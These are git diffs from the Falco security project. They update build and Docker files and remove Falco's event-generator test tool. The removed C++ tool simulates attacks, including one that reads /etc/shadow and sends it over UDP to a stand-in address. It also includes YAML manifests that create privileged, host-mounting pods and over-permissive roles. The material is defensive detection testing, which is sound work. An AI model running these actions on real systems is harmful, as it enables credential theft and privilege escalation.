# gRPC todo(fntlnz, leodido): check that gRPC version is greater or equal than 1.8.0
find_path(GRPCXX_INCLUDE NAMES grpc++/grpc++.h)
if(GRPCXX_INCLUDE)

View File

@@ -26,8 +26,8 @@ file(MAKE_DIRECTORY ${SYSDIG_CMAKE_WORKING_DIR})
# To update sysdig version for the next release, change the default below
# In case you want to test against another sysdig version just pass the variable - ie., `cmake -DSYSDIG_VERSION=dev ..`
if(NOT SYSDIG_VERSION)
set(SYSDIG_VERSION "a259b4bf49c3330d9ad6c3eed9eb1a31954259a6")
set(SYSDIG_CHECKSUM "SHA256=fdbeb8d182e6383fe89428e0934d521636068f62109c1b3ca11689d886458284")
set(SYSDIG_VERSION "96bd9bc560f67742738eb7255aeb4d03046b8045")
set(SYSDIG_CHECKSUM "SHA256=766e8952a36a4198fd976b9d848523e6abe4336612188e4fc911e217d8e8a00d")
endif()
set(PROBE_VERSION "${SYSDIG_VERSION}")

View File

@@ -1,2 +1,6 @@
labels:
- area/integration
- area/integration
approvers:
- leogr
reviewers:
- leogr

View File

@@ -1,15 +1,14 @@
# Falco Dockerfiles
This directory contains the various ways to package Falco as a container.
This directory contains various ways to package Falco as a container and related tools.
## Currently Supported Images
| Name | Directory | Description |
|---|---|---|
| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/stable | Falco (DEB built from git tag or from the master) with all the building toolchain. |
| [falcosecurity/falco:latest-slim](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master-slim](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/slim | Falco (DEB build from git tag or from the master) without the building toolchain. |
| [falcosecurity/falco:latest-minimal](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master-minimal](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/minimal | Falco (TGZ built from git tag or from the master) without the building toolchain. |
| [falcosecurity/falco-event-generator:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-event-generator) | docker/event-generator | Event generator tool to simulate events Falco catches. |
| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/falco | Falco (DEB built from git tag or from the master) with all the building toolchain. |
| [falcosecurity/falco-driver-loader:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:master](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader) | docker/driver-loader | `falco-driver-loader` as entrypoint with the building toolchain. |
| [falcosecurity/falco-no-driver:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver), [falcosecurity/falco-no-driver:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver),[falcosecurity/falco-no-driver:master](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver) | docker/no-driver | Falco (TGZ built from git tag or from the master) without the building toolchain. |
| [falcosecurity/falco-builder:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-builder) | docker/builder | The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/source/) for more details on building from source. Used to build Falco (CI). |
| [falcosecurity/falco-tester:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-tester) | docker/tester | Container image for running the Falco test suite. Used to run Falco integration tests (CI). |
| _to not be published_ | docker/local | Built on-the-fly and used by falco-tester. |

View File

@@ -0,0 +1,13 @@
ARG FALCO_IMAGE_TAG=latest
FROM falcosecurity/falco:${FALCO_IMAGE_TAG}
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL usage="docker run -i -t -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
ENV HOST_ROOT /host
ENV HOME /root
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]

View File

@@ -1,5 +1,6 @@
#!/usr/bin/env bash
#
# Copyright (C) 2019 The Falco Authors.
# Copyright (C) 2020 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,5 +15,14 @@
# See the License for the specific language governing permissions and
# limitations under the License.
#
image:
docker build -t sysdig/falco-event-generator:latest .
echo "* Setting up /usr/src links from host"
for i in "$HOST_ROOT/usr/src"/*
do
base=$(basename "$i")
ln -s "$i" "/usr/src/$base"
done
/usr/bin/falco-driver-loader "$@"

View File

@@ -1,10 +0,0 @@
FROM alpine:latest
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
RUN apk add --no-cache bash g++ curl
COPY ./event_generator.cpp /usr/local/bin
COPY ./docker-entrypoint.sh ./k8s_event_generator.sh /
COPY ./yaml /yaml
RUN mkdir -p /var/lib/rpm
RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator
RUN curl -o /usr/local/bin/kubectl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl && chmod +x /usr/local/bin/kubectl
ENTRYPOINT ["/docker-entrypoint.sh"]

View File

@@ -1,21 +0,0 @@
#!/bin/bash
CMD=${1:-syscall}
shift
set -euo pipefail
if [[ "$CMD" == "syscall" ]]; then
/usr/local/bin/event_generator
elif [[ "$CMD" == "k8s_audit" ]]; then
. k8s_event_generator.sh
elif [[ "$CMD" == "bash" ]]; then
bash
else
echo "Unknown command. Can be one of"
echo " \"syscall\": generate falco syscall-related activity"
echo " \"k8s_audit\": generate falco k8s audit-related activity"
echo " \"bash\": spawn a shell"
exit 1
fi

View File

@@ -1,23 +0,0 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: falco-event-generator-k8saudit
labels:
app: falco-event-generator-k8saudit
namespace: falco-event-generator
spec:
replicas: 1
selector:
matchLabels:
app: falco-event-generator-k8saudit
template:
metadata:
labels:
app: falco-event-generator-k8saudit
spec:
serviceAccount: falco-event-generator
containers:
- name: falco-event-generator
image: falcosecurity/falco-event-generator
imagePullPolicy: Always
args: ["k8s_audit"]

View File

@@ -1,71 +0,0 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: falco-event-generator
rules:
- apiGroups:
- ""
resources:
- configmaps
- services
- serviceaccounts
- pods
verbs:
- list
- get
- create
- delete
- apiGroups:
- apps
- extensions
resources:
- deployments
verbs:
- list
- get
- create
- delete
- apiGroups:
- rbac.authorization.k8s.io
resources:
- roles
- rolebindings
verbs:
- get
- list
- create
- delete
# These are only so the event generator can create roles that have these properties.
# It will result in a falco alert for the rules "ClusterRole With Wildcard Created", "ClusterRole With Pod Exec Created"
- apiGroups:
- ""
resources:
- pods/exec
verbs:
- get
- apiGroups:
- ""
resources:
- '*'
verbs:
- get
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: falco-event-generator
namespace: falco-eg-sandbox
subjects:
- kind: ServiceAccount
name: falco-event-generator
namespace: falco-event-generator
roleRef:
kind: ClusterRole
name: falco-event-generator
apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: falco-event-generator
namespace: falco-event-generator

View File

@@ -1,20 +0,0 @@
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: falco-event-generator-syscall
labels:
app: falco-event-generator-syscall
namespace: falco-event-generator
spec:
selector:
matchLabels:
name: falco-event-generator-syscall
template:
metadata:
labels:
name: falco-event-generator-syscall
spec:
containers:
- name: falco-event-generator
image: falcosecurity/falco-event-generator
args: ["syscall"]

View File

@@ -1,535 +0,0 @@
/*
Copyright (C) 2019 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include <cstdio>
#include <utility>
#include <map>
#include <set>
#include <string>
#include <fstream>
#include <sstream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
#include <getopt.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <pwd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
using namespace std;
void usage(char *program)
{
printf("Usage %s [options]\n\n", program);
printf("Options:\n");
printf(" -h/--help: show this help\n");
printf(" -a/--action: actions to perform. Can be one of the following:\n");
printf(" write_binary_dir Write to files below /bin\n");
printf(" write_etc Write to files below /etc\n");
printf(" read_sensitive_file Read a sensitive file\n");
printf(" read_sensitive_file_after_startup As a trusted program, wait a while,\n");
printf(" then read a sensitive file\n");
printf(" write_rpm_database Write to files below /var/lib/rpm\n");
printf(" spawn_shell Run a shell (bash)\n");
printf(" Used by spawn_shell_under_httpd below\n");
printf(" spawn_shell_under_httpd Run a shell (bash) under a httpd process\n");
printf(" db_program_spawn_process As a database program, try to spawn\n");
printf(" another program\n");
printf(" modify_binary_dirs Modify a file below /bin\n");
printf(" mkdir_binary_dirs Create a directory below /bin\n");
printf(" change_thread_namespace Change namespace\n");
printf(" system_user_interactive Change to a system user and try to\n");
printf(" run an interactive command\n");
printf(" network_activity Open network connections\n");
printf(" (used by system_procs_network_activity below)\n");
printf(" system_procs_network_activity Open network connections as a program\n");
printf(" that should not perform network actions\n");
printf(" non_sudo_setuid Setuid as a non-root user\n");
printf(" create_files_below_dev Create files below /dev\n");
printf(" exec_ls execve() the program ls\n");
printf(" (used by user_mgmt_binaries, db_program_spawn_process)\n");
printf(" user_mgmt_binaries Become the program \"vipw\", which triggers\n");
printf(" rules related to user management programs\n");
printf(" exfiltration Read /etc/shadow and send it via udp to a\n");
printf(" specific address and port\n");
printf(" all All of the above\n");
printf(" The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
printf(" as a colon-separated list\n");
printf(" if specified, -a/--action overrides any environment variables\n");
printf(" -i/--interval: Number of seconds between actions\n");
printf(" -o/--once: Perform actions once and exit\n");
}
void open_file(const char *filename, const char *flags)
{
FILE *f = fopen(filename, flags);
if(f)
{
fclose(f);
}
else
{
fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno));
}
}
void exfiltration()
{
ifstream shadow;
shadow.open("/etc/shadow");
printf("Reading /etc/shadow and sending to 10.5.2.6:8197...\n");
if(!shadow.is_open())
{
fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
return;
}
string line;
string shadow_contents;
while(getline(shadow, line))
{
shadow_contents += line;
shadow_contents += "\n";
}
int rc;
ssize_t sent;
int sock = socket(PF_INET, SOCK_DGRAM, 0);
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_port = htons(8197);
inet_aton("10.5.2.6", &(dest.sin_addr));
if((rc = connect(sock, (struct sockaddr *)&dest, sizeof(dest))) != 0)
{
fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
return;
}
if((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
{
fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
return;
}
close(sock);
}
void touch(const char *filename)
{
open_file(filename, "w");
}
void read(const char *filename)
{
open_file(filename, "r");
}
void become_user(const char *user)
{
struct passwd *pw;
pw = getpwnam(user);
if(pw == NULL)
{
fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno));
exit(1);
}
int rc = setuid(pw->pw_uid);
if(rc != 0)
{
fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno));
exit(1);
}
}
void spawn(const char *cmd, char **argv, char **env)
{
pid_t child;
// Fork a process, that way proc.duration is reset
if((child = fork()) == 0)
{
execve(cmd, argv, env);
fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno));
}
else
{
int status;
waitpid(child, &status, 0);
}
}
void respawn(const char *cmd, const char *action, const char *interval)
{
char *argv[] = {(char *)cmd,
(char *)"--action", (char *)action,
(char *)"--interval", (char *)interval,
(char *)"--once", NULL};
char *env[] = {NULL};
spawn(cmd, argv, env);
}
void write_binary_dir()
{
printf("Writing to /bin/created-by-event-generator-sh...\n");
touch("/bin/created-by-event-generator-sh");
}
void write_etc()
{
printf("Writing to /etc/created-by-event-generator-sh...\n");
touch("/etc/created-by-event-generator-sh");
}
void read_sensitive_file()
{
printf("Reading /etc/shadow...\n");
read("/etc/shadow");
}
void read_sensitive_file_after_startup()
{
printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n");
respawn("./httpd", "read_sensitive_file", "6");
}
void write_rpm_database()
{
printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n");
touch("/var/lib/rpm/created-by-event-generator-sh");
}
void spawn_shell()
{
printf("Spawning a shell to run \"ls > /dev/null\" using system()...\n");
int rc;
if((rc = system("ls > /dev/null")) != 0)
{
fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno));
}
}
void spawn_shell_under_httpd()
{
printf("Becoming the program \"httpd\" and then spawning a shell\n");
respawn("./httpd", "spawn_shell", "0");
}
void db_program_spawn_process()
{
printf("Becoming the program \"mysql\" and then running ls\n");
respawn("./mysqld", "exec_ls", "0");
}
void modify_binary_dirs()
{
printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n");
if(rename("/bin/true", "/bin/true.event-generator-sh") != 0)
{
fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno));
}
else
{
if(rename("/bin/true.event-generator-sh", "/bin/true") != 0)
{
fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno));
}
}
}
void mkdir_binary_dirs()
{
printf("Creating directory /bin/directory-created-by-event-generator-sh...\n");
if(mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0)
{
fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno));
}
}
void change_thread_namespace()
{
printf("Calling setns() to change namespaces...\n");
printf("NOTE: does not result in a falco notification in containers, unless container run with --privileged or --security-opt seccomp=unconfined\n");
// It doesn't matter that the arguments to setns are
// bogus. It's the attempt to call it that will trigger the
// rule.
setns(0, 0);
}
void system_user_interactive()
{
pid_t child;
printf("Forking a child that becomes user=daemon and then tries to run /bin/login...\n");
// Fork a child and do everything in the child.
if((child = fork()) == 0)
{
become_user("daemon");
char *argv[] = {(char *)"/bin/login", NULL};
char *env[] = {NULL};
spawn("/bin/login", argv, env);
exit(0);
}
else
{
int status;
waitpid(child, &status, 0);
}
}
void network_activity()
{
printf("Connecting a udp socket to 10.2.3.4:8192...\n");
int rc;
int sock = socket(PF_INET, SOCK_DGRAM, 0);
struct sockaddr_in localhost;
localhost.sin_family = AF_INET;
localhost.sin_port = htons(8192);
inet_aton("10.2.3.4", &(localhost.sin_addr));
if((rc = connect(sock, (struct sockaddr *)&localhost, sizeof(localhost))) != 0)
{
fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
return;
}
close(sock);
}
void system_procs_network_activity()
{
printf("Becoming the program \"sha1sum\" and then performing network activity\n");
respawn("./sha1sum", "network_activity", "0");
}
void non_sudo_setuid()
{
pid_t child;
printf("Forking a child that becomes \"daemon\" user and then \"root\"...\n");
// Fork a child and do everything in the child.
if((child = fork()) == 0)
{
// First setuid to something non-root. Then try to setuid back to root.
become_user("daemon");
become_user("root");
exit(0);
}
else
{
int status;
waitpid(child, &status, 0);
}
}
void create_files_below_dev()
{
printf("Creating /dev/created-by-event-generator-sh...\n");
touch("/dev/created-by-event-generator-sh");
}
void exec_ls()
{
char *argv[] = {(char *)"/bin/ls", NULL};
char *env[] = {NULL};
spawn("/bin/ls", argv, env);
}
void user_mgmt_binaries()
{
printf("Becoming the program \"vipw\" and then running the program /bin/ls\n");
printf("NOTE: does not result in a falco notification in containers\n");
respawn("./vipw", "exec_ls", "0");
}
typedef void (*action_t)();
map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
{"write_etc", write_etc},
{"read_sensitive_file", read_sensitive_file},
{"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
{"write_rpm_database", write_rpm_database},
{"spawn_shell", spawn_shell},
{"spawn_shell_under_httpd", spawn_shell_under_httpd},
{"db_program_spawn_process", db_program_spawn_process},
{"modify_binary_dirs", modify_binary_dirs},
{"mkdir_binary_dirs", mkdir_binary_dirs},
{"change_thread_namespace", change_thread_namespace},
{"system_user_interactive", system_user_interactive},
{"network_activity", network_activity},
{"system_procs_network_activity", system_procs_network_activity},
{"non_sudo_setuid", non_sudo_setuid},
{"create_files_below_dev", create_files_below_dev},
{"exec_ls", exec_ls},
{"user_mgmt_binaries", user_mgmt_binaries},
{"exfiltration", exfiltration}};
// Some actions don't directly result in suspicious behavior. These
// actions are excluded from the ones run with -a all.
set<string> exclude_from_all_actions = {"spawn_shell", "exec_ls", "network_activity"};
void create_symlinks(const char *program)
{
int rc;
// Some actions depend on this program being re-run as
// different program names like 'mysqld', 'httpd', etc. This
// sets up all the required symlinks.
const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL};
for(unsigned int i = 0; progs[i] != NULL; i++)
{
unlink(progs[i]);
if((rc = symlink(program, progs[i])) != 0)
{
fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno));
}
}
}
void run_actions(map<string, action_t> &actions, int interval, bool once)
{
while(true)
{
for(auto action : actions)
{
printf("***Action %s\n", action.first.c_str());
action.second();
sleep(interval);
}
if(once)
{
break;
}
}
}
int main(int argc, char **argv)
{
map<string, action_t> actions;
int op;
int long_index = 0;
int interval = 1;
bool once = false;
map<string, action_t>::iterator it;
static struct option long_options[] =
{
{"help", no_argument, 0, 'h'},
{"action", required_argument, 0, 'a'},
{"interval", required_argument, 0, 'i'},
{"once", no_argument, 0, 'o'},
{0, 0}};
//
// Parse the args
//
while((op = getopt_long(argc, argv,
"ha:i:l:o",
long_options, &long_index)) != -1)
{
switch(op)
{
case 'h':
usage(argv[0]);
exit(1);
case 'a':
// "all" is already implied
if(strcmp(optarg, "all") != 0)
{
if((it = defined_actions.find(optarg)) == defined_actions.end())
{
fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg);
exit(1);
}
actions.insert(*it);
}
break;
case 'i':
interval = atoi(optarg);
break;
case 'o':
once = true;
break;
default:
usage(argv[0]);
exit(1);
}
}
//
// Also look for actions in the environment. If specified, they
// override any specified on the command line.
//
char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
if(env_action)
{
actions.clear();
string envs(env_action);
istringstream ss(envs);
string item;
while(std::getline(ss, item, ':'))
{
if((it = defined_actions.find(item)) == defined_actions.end())
{
fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
exit(1);
}
actions.insert(*it);
}
}
if(actions.size() == 0)
{
for(auto &act : defined_actions)
{
if(exclude_from_all_actions.find(act.first) == exclude_from_all_actions.end())
{
actions.insert(act);
}
}
}
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// Only create symlinks when running as the program event_generator
if(strstr(argv[0], "generator"))
{
create_symlinks(argv[0]);
}
run_actions(actions, interval, once);
}

View File

@@ -1,60 +0,0 @@
#!/bin/bash
set -euo pipefail
# You can pass a specific falco rule name and only yaml files matching
# that rule will be considered. The default is "all", meaning all yaml
# files will be applied.
RULE=${1:-all}
# Replace any '/' in RULES with a '.' and any space with a dash. (K8s
# label values can not contain slashes/spaces)
RULE=$(echo "$RULE" | tr '/ ' '.-')
echo "***Testing kubectl configuration..."
kubectl version --short
while true; do
# Delete all resources in the falco-eg-sandbox namespace
echo "***Deleting all resources in falco-eg-sandbox namespace..."
kubectl delete --all configmaps -n falco-eg-sandbox
kubectl delete --all deployments -n falco-eg-sandbox
kubectl delete --all services -n falco-eg-sandbox
kubectl delete --all roles -n falco-eg-sandbox
kubectl delete --all serviceaccounts -n falco-eg-sandbox
# We don't delete all rolebindings in the falco-eg-sandbox
# namespace, as that would also delete the rolebinding for the
# event generator itself.
kubectl delete rolebinding vanilla-role-binding -n falco-eg-sandbox || true
for file in yaml/*.yaml; do
MATCH=0
if [[ "${RULE}" == "all" ]]; then
MATCH=1
else
RET=$(grep -E "falco.rules:.*${RULE}" $file || true)
if [[ "$RET" != "" ]]; then
MATCH=1
fi
fi
if [[ $MATCH == 1 ]]; then
MESSAGES=$(grep -E 'message' $file | cut -d: -f2 | tr '\n' ',')
RULES=$(grep -E 'falco.rules' $file | cut -d: -f2 | tr '\n' ',')
# The message uses dashes in place of spaces, convert them back to spaces
MESSAGES=$(echo "$MESSAGES" | tr '-' ' ' | sed -e 's/ *//' | sed -e 's/,$//')
RULES=$(echo "$RULES" | tr '-' ' '| tr '.' '/' | sed -e 's/ *//' | sed -e 's/,$//')
echo "***$MESSAGES (Rule(s) $RULES)..."
kubectl apply -f $file -n falco-eg-sandbox
sleep 2
fi
done
sleep 10
done

View File

@@ -1,15 +0,0 @@
apiVersion: v1
kind: ConfigMap
metadata:
name: private-creds-configmap
labels:
app.kubernetes.io/name: private-creds-configmap
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create.Modify-Configmap-With-Private-Credentials
message: Creating-configmap-with-private-credentials
data:
ui.properties: |
color.good=purple
color.bad=yellow
allow.textmode=true
password=some_secret_password

View File

@@ -1,24 +0,0 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: disallowed-pod-deployment
labels:
app.kubernetes.io/name: disallowed-pod-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create-Disallowed-Pod
message: Creating-pod-with-image-outside-of-allowed-images
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: disallowed-pod-busybox
template:
metadata:
labels:
app.kubernetes.io/name: disallowed-pod-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

View File

@@ -1,25 +0,0 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: hostnetwork-deployment
labels:
app.kubernetes.io/name: hostnetwork-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create-HostNetwork-Pod
message: Creating-deployment-with-hostNetwork-true-pod
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: hostnetwork-busybox
template:
metadata:
labels:
app.kubernetes.io/name: hostnetwork-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
hostNetwork: true
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

View File

@@ -1,15 +0,0 @@
apiVersion: v1
kind: Service
metadata:
name: nodeport-service
labels:
app.kubernetes.io/name: nodeport-service
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create-NodePort-Service
message: Creating-service-of-type-NodePort
spec:
type: NodePort
ports:
- port: 80
selector:
app: busybox

View File

@@ -1,26 +0,0 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: privileged-deployment
labels:
app.kubernetes.io/name: privileged-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create-Privileged-Pod
message: Creating-deployment-with-privileged-true-pod
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: privileged-busybox
template:
metadata:
labels:
app.kubernetes.io/name: privileged-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- securityContext:
privileged: true
name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

View File

@@ -1,16 +0,0 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: pod-exec-role
labels:
app.kubernetes.io/name: pod-exec-role
app.kubernetes.io/part-of: falco-event-generator
falco.rules: ClusterRole-With-Pod-Exec-Created
message: Creating-role-that-can-exec-to-pods
rules:
- apiGroups:
- ""
resources:
- "pods/exec"
verbs:
- get

View File

@@ -1,16 +0,0 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: wildcard-resources-role
labels:
app.kubernetes.io/name: wildcard-resources-role
app.kubernetes.io/part-of: falco-event-generator
falco.rules: ClusterRole-With-Write-Privileges-Created
message: Creating-role-with-wildcard-resources
rules:
- apiGroups:
- ""
resources:
- "*"
verbs:
- get

View File

@@ -1,16 +0,0 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: write-privileges-role
labels:
app.kubernetes.io/name: write-privileges-role
app.kubernetes.io/part-of: falco-event-generator
falco.rules: ClusterRole-With-Write-Privileges-Created
message: Creating-role-with-write-privileges
rules:
- apiGroups:
- ""
resources:
- "pods"
verbs:
- create

View File

@@ -1,31 +0,0 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: sensitive-mount-deployment
labels:
app.kubernetes.io/name: sensitive-mount-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.rules: Create-Sensitive-Mount-Pod
message: Creating-deployment-with-pod-mounting-sensitive-path-from-host
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: sensitive-mount-busybox
template:
metadata:
labels:
app.kubernetes.io/name: sensitive-mount-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
volumeMounts:
- mountPath: /host/etc
name: etc
volumes:
- name: etc
hostPath:
path: /etc

View File

@@ -1,14 +0,0 @@
apiVersion: v1
kind: ConfigMap
metadata:
name: vanilla-configmap
labels:
app.kubernetes.io/name: vanilla-configmap
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-ConfigMap-Created
message: Creating-configmap
data:
ui.properties: |
color.good=purple
color.bad=yellow
allow.textmode=true

View File

@@ -1,24 +0,0 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: vanilla-deployment
labels:
app.kubernetes.io/name: vanilla-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-Deployment-Created
message: Creating-deployment
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: vanilla-busybox
template:
metadata:
labels:
app.kubernetes.io/name: vanilla-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

View File

@@ -1,43 +0,0 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: vanilla-role
labels:
app.kubernetes.io/name: vanilla-role
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-Role.Clusterrole-Created
message: Creating-role
rules:
- apiGroups:
- ""
resources:
- "pods"
verbs:
- list
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: vanilla-role-binding
labels:
app.kubernetes.io/name: vanilla-role-binding
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-Role.Clusterrolebinding-Created
message: Creating-rolebinding
roleRef:
kind: Role
name: vanilla-role
apiGroup: rbac.authorization.k8s.io
subjects:
- kind: ServiceAccount
name: vanilla-service-account
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: vanilla-serviceaccount
labels:
app.kubernetes.io/name: vanilla-serviceaccount
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-Serviceaccount-Created
message: Creating-serviceaccount

View File

@@ -1,15 +0,0 @@
apiVersion: v1
kind: Service
metadata:
name: vanilla-service
labels:
app.kubernetes.io/name: vanilla-service
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-Service-Created
message: Creating-service
spec:
type: ClusterIP
ports:
- port: 80
selector:
app: busybox

View File

@@ -16,7 +16,6 @@
# limitations under the License.
#
# set -e
# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module

View File

@@ -16,7 +16,6 @@
# limitations under the License.
#
# set -e
# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module

View File

@@ -21,6 +21,9 @@ RUN apt-get update -y && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /falco/etc/falco/falco.yaml > /falco/etc/falco/falco.yaml.new \
&& mv /falco/etc/falco/falco.yaml.new /falco/etc/falco/falco.yaml
FROM scratch
COPY --from=ubuntu /lib/x86_64-linux-gnu/libanl.so.1 \
@@ -55,4 +58,4 @@ COPY --from=ubuntu /lib64/ld-linux-x86-64.so.2 /lib64/ld-linux-x86-64.so.2
COPY --from=ubuntu /falco /
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

View File

@@ -1,48 +0,0 @@
FROM ubuntu:18.04
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name <name> <image>"
ARG FALCO_VERSION=latest
ARG VERSION_BUCKET=deb
ENV FALCO_VERSION=${FALCO_VERSION}
ENV VERSION_BUCKET=${VERSION_BUCKET}
ENV HOST_ROOT /host
ENV HOME /root
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
